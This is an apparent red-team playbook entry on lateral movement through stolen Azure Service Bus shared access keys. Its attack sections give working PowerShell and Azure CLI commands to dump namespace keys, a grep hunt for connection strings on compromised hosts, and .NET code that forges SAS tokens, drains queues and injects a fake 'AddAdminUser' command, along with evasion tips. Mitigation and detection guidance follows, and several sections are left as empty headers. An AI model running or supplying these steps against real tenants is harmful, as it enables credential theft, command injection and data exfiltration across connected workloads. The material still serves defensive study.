| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-038 |
| Technique Name | Service Bus Shared Access Key |
| File Path | 07_Lateral/LM-AUTH-038_ServiceBus.md |
| MITRE ATT&CK v18.1 | T1550 – Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, Azure Service Bus (PaaS), Azure workloads consuming Service Bus |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure Service Bus Standard/Premium namespaces; .NET/Java/Node.js SDKs using SAS authentication |
| Patched In | N/A – architectural/operational risk, mitigated via Entra ID auth and key hygiene, not a patch |
| Author | SERVTEP – Artur Pchelnikau |
Concept:
This technique abuses Azure Service Bus Shared Access Authorization Rules and their shared access keys to perform lateral movement between workloads that consume or produce messages on a namespace. Service Bus SAS keys are long‑lived, base64‑encoded symmetric secrets associated with policies (for example, RootManageSharedAccessKey or custom rules) that grant Send, Listen, or Manage rights at namespace or entity scope. If an attacker obtains one of these keys (from code, CI/CD variables, Key Vault, a compromised VM, or developer workstation), they can generate Shared Access Signature (SAS) tokens and impersonate any trusted producer or consumer tied to that policy, gaining indirect access to downstream systems that trust messages or commands on those queues/topics.[3][6][12][15]
Attack Surface: Azure Service Bus namespace authorization rules and shared access keys, consuming microservices, Functions, Logic Apps, and integration pipelines that trust messages from Service Bus as authenticated control/data inputs.
Business Impact:
Lateral compromise of workloads and business processes that are orchestrated over Service Bus, including replay or injection of commands, exfiltration of messages, workflow manipulation, and disruption of critical integration paths (for example, billing, identity workflows, provisioning, order processing). Misuse of Manage keys enables complete namespace takeover and message tampering.[3][12][15]
Technical Context:
Exploitation is low‑complexity once a key is obtained: generating SAS tokens is well‑documented and supported by SDKs. The activity is often executed via legitimate SDK calls over HTTPS and can blend with normal traffic unless correlated with unusual source principals, IPs, or access patterns. Primary indicators include access from non‑expected principals/locations, unexpected Manage operations, or anomalous throughput patterns. There is no single Event ID; visibility relies on Azure diagnostics, Activity logs and Sentinel.[3][12][15]
Manage or Send/Listen keys can impact multiple downstream systems simultaneously and is difficult to quickly roll back once messages have been processed.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 1.4 – 3.1, 3.2 | Secure management of secrets, use of managed identities instead of long‑lived keys for PaaS messaging. |
| DISA STIG | APP3560 / APP3550 (conceptual) | Application use of strong authentication and least privilege for external services. |
| CISA SCuBA | SCB‑AZ‑IA‑1, SCB‑AZ‑IA‑3 | Use identity‑based auth instead of static keys; enforce least‑privilege access for cloud messaging. |
| NIST 800‑53 | AC‑3, AC‑6, IA‑5, SC‑12 | Access enforcement, least privilege, credential management and key protection for messaging fabrics. |
| GDPR | Art. 32 | Integrity and confidentiality of processing; compromise of message bus may expose personal data. |
| DORA | Art. 9, 10 | ICT security, dependency and third‑party risk – compromise of integration bus impacts critical services. |
| NIS2 | Art. 21 | Technical measures for access control, secure communications, and incident handling in essential services. |
| ISO 27001 | A.9.2.3, A.10.1, A.12.6 | Management of privileged access, cryptographic controls, mitigation of technical vulnerabilities. |
| ISO 27005 | Risk Scenario | “Compromise of cloud message bus enables unauthorized commands and data exfiltration across services.” |
Supported Versions: Azure Service Bus Standard/Premium, all current SDKs (.NET, Java, Node.js, Python) using SAS.
Objective: Locate a Service Bus Shared Access Authorization Rule key that grants Send, Listen or Manage rights on a namespace or entity.
Version Note: Key handling is consistent across Service Bus versions; differences are mostly in management UI/SDKs, not in the key format.[3][6][12]
Commands (examples):
PowerShell (run on compromised admin/dev workstation or runbook that has Microsoft.ServiceBus/namespaces/authorizationRules/listKeys/action):
# List authorization rules on a namespace
Get-AzServiceBusAuthorizationRule -ResourceGroupName "RG" -Namespace "sb-prod" |
Select-Object Name, Rights
# Retrieve keys for a specific rule (for example, RootManageSharedAccessKey)
$keys = Get-AzServiceBusKey -ResourceGroupName "RG" -Namespace "sb-prod" `
-Name "RootManageSharedAccessKey"
$keys.PrimaryKey
$keys.SecondaryKey
Azure CLI (if attacker has CLI access with appropriate RBAC):
az servicebus namespace authorization-rule keys list \
--resource-group RG \
--namespace-name sb-prod \
--name RootManageSharedAccessKey \
--query "primaryKey" -o tsv
Expected Output:
PrimaryKey and/or SecondaryKey values.What This Means:
Manage key at namespace scope allows full control over queues, topics and subscriptions, including send, receive and configuration operations.[3][12]OpSec & Evasion:
Troubleshooting:
AuthorizationFailed when calling Get-AzServiceBusKey.
listKeys permission for that namespace.Owner/Contributor or explicit listKeys action on the namespace.References & Proofs:
Objective: Use the shared access key to create a Shared Access Signature (SAS) token that can authenticate to Service Bus as the target authorization rule.
Version Note: Token format is stable; SDK helper methods differ slightly per language.[3][6][12]
Command (.NET example):
var policyName = "RootManageSharedAccessKey";
var key = "<stolen-base64-key>";
var uri = new Uri("sb://sb-prod.servicebus.windows.net/myqueue");
var tokenProvider =
Microsoft.Azure.ServiceBus.Primitives.TokenProvider
.CreateSharedAccessSignatureTokenProvider(policyName, key);
var token = await tokenProvider.GetTokenAsync(uri.AbsoluteUri, TimeSpan.FromHours(1));
Console.WriteLine(token.TokenValue);
Expected Output:
SharedAccessSignature sr=...&sig=...&se=...&skn=....What This Means:
OpSec & Evasion:
Troubleshooting:
401 Unauthorized when using SAS.
sr, expired se timestamp, or wrong rule name skn.sr matches exact queue/topic URI and that local clock skew is minimal.References & Proofs:
Objective: Connect to the target queue/topic using the SAS token and push or read messages to pivot into other workloads.
Command (.NET receiver example – Listen right):
var connectionString =
"Endpoint=sb://sb-prod.servicebus.windows.net/;" +
"SharedAccessKeyName=RootManageSharedAccessKey;" +
"SharedAccessKey=<stolen-base64-key>;";
var client = new QueueClient(connectionString, "myqueue", ReceiveMode.PeekLock);
client.RegisterMessageHandler(async (msg, ct) =>
{
var body = Encoding.UTF8.GetString(msg.Body);
Console.WriteLine($"[+] Received: {body}");
await client.CompleteAsync(msg.SystemProperties.LockToken);
}, new MessageHandlerOptions(ExceptionReceivedHandler) { MaxConcurrentCalls = 5, AutoComplete = false });
Command (.NET sender example – Send right):
var messageBody = "{ \"action\": \"AddAdminUser\", \"target\": \"app-prod\" }";
var msg = new Message(Encoding.UTF8.GetBytes(messageBody))
{
ContentType = "application/json",
Label = "control-command"
};
await client.SendAsync(msg);
Expected Output:
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: All Azure Service Bus tiers supporting entity‑scoped authorization rules.
Objective: Extract queue‑ or topic‑scoped SAS keys from application configuration (for example, appsettings.json, Key Vault references, CI/CD variables).
Command (example – search on compromised host):
grep -R "Endpoint=sb://" /var/www /app /opt -n 2>/dev/null
Typical connection string format:
Endpoint=sb://sb-prod.servicebus.windows.net/;
SharedAccessKeyName=app-worker-send;
SharedAccessKey=<base64-key>;
EntityPath=orders-queue
Expected Output:
What This Means:
Manage rights, an attacker can fully impersonate message flows for the specific entity, which can be enough to compromise associated workflows and identities.OpSec & Evasion:
Listen) keys if goal is reconnaissance, and Send keys for subtle command injection; avoid touching Manage unless necessary.Troubleshooting:
Manage key if available; otherwise, test connectivity and handle 404 errors gracefully.References & Proofs:
Action 1: Replace Service Bus SAS key authentication with Microsoft Entra ID (OAuth 2.0)–based access control for applications wherever feasible.
Applies To Versions: All Azure Service Bus namespaces that support Entra ID authorization.[3][12][15]
Manual Steps (Portal – high level):
RootManageSharedAccessKey.[3][12][15]Manual Steps (PowerShell – concept):
# Assign Service Bus Data Sender role to a managed identity
$sp = Get-AzADServicePrincipal -DisplayName "app-prod-worker"
New-AzRoleAssignment -ObjectId $sp.Id `
-RoleDefinitionName "Azure Service Bus Data Sender" `
-Scope "/subscriptions/<sub>/resourceGroups/RG/providers/Microsoft.ServiceBus/namespaces/sb-prod"
Action 2: Enforce Strict Least‑Privilege on Authorization Rules
Manual Steps (Portal):
Manage policies where not strictly required; prefer entity‑scoped rules with only Send or Listen rights.Send and Listen unless functionally necessary.Manual Steps (ARM / PowerShell):
Action: Store any remaining keys in Azure Key Vault, rotate regularly, and monitor usage.
Manual Steps (Key Vault):
DefaultAzureCredential patterns to avoid handling secrets directly.[7][10][13][14]Validation Command (Verify Fix):
# Example: verify no Service Bus connection strings present in code repo
rg "Endpoint=sb://" . -g
Expected Output (If Secure):
What to Look For:
Endpoint=sb:// or SharedAccessKey= patterns should be investigated and remediated.Conditional Access:
listKeys or manage Service Bus, restricting access by device compliance, location, and strong MFA.RBAC/ABAC:
IncomingRequests, OutgoingRequests, or ServerErrors metrics without corresponding deployment changes.listKeys operations on Service Bus namespaces from unexpected principals or locations.Microsoft.ServiceBus/namespaces/authorizationRules/* operations.[12][15]listKeys, RegenerateKeys, and abnormal connection patterns with identities and IPs.| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA‑PHISH‑001 – Device code phishing attacks | Compromise cloud identity used to manage or deploy Service Bus–backed workloads. |
| 2 | Privilege Escalation | PE‑VALID‑010 – Azure Role Assignment Abuse | Escalate to a role that can listKeys on Service Bus namespaces. |
| 3 | Current Step | LM‑AUTH‑038 – Service Bus Shared Access Key | Use stolen keys to pivot via Service Bus queues/topics into connected workloads. |
| 4 | Persistence | PERSIST‑SERVER‑003 – Azure Function Backdoor | Deploy or modify Functions triggered by Service Bus queues to maintain long‑term presence. |
| 5 | Impact | COLLECT‑DATA‑001 – Azure Blob Storage Data Exfiltration | Exfiltrate or manipulate data processed as a result of compromised Service Bus message flows. |